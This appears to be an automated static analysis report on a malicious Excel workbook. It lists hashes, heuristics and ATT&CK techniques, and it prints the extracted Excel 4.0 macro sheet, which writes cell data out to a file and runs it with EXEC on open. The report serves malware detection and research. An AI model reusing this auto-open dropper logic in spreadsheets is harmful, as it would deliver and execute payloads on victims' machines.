Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e9876ecafbefea39…

MALICIOUS

Office (OOXML)

264.4 KB Created: 2021-09-13 09:41:09 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-24
MD5: e287d115d54f860ab09a24aa4b994b6e SHA-1: 42ca6ffcc8110d6d561ad52fb85f06f47be57f7f SHA-256: e9876ecafbefea39f7f73b98a6303fed1044d63733c76f44c76391fe014dd5f3
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The macros utilize dangerous XLM functions like FOPEN, FWRITE, FCLOSE, and EXEC to download and execute a second-stage payload. The 'EXEC(Macro1!$B$954)' function is particularly concerning as it directly executes content, likely a downloaded payload. The presence of a hidden sheet further suggests an attempt to conceal malicious activity.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1478 bytes
SHA-256: f5eee03e20975fd835a51eb548847987ee1c0664b61388d2ae5593790435c699
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A217:B1405"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="217" spans="1:1"><c r="A217" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$555, 1, 200), 1+2)</f><v>0</v></c></row><row r="335" spans="1:1"><c r="A335" t="b"><f>FOR.CELL("snGUani",Sheet1!D169:D25075, TRUE)</f><v>0</v></c></row><row r="392" spans="1:1"><c r="A392" t="e"><f>FWRITE(Macro1!A217,CHAR(snGUani))</f><v>#NAME?</v></c></row><row r="446" spans="1:1"><c r="A446" t="b"><f>NEXT()</f><v>0</v></c></row><row r="542" spans="1:1"><c r="A542" t="b"><f>FCLOSE(Macro1!A217)</f><v>0</v></c></row><row r="555" spans="2:2"/><row r="954" spans="2:2"/><row r="1299" spans="1:1"><c r="A1299" t="b"><f>SET.VALUE(Macro1!$B$954, GET.NOTE(Macro1!$B$954, 1, 200))</f><v>0</v></c></row><row r="1358" spans="1:1"><c r="A1358" t="b"><f>EXEC(Macro1!$B$954)</f><v>0</v></c></row><row r="1405" spans="1:1"><c r="A1405" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><sheetProtection password="96D5" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>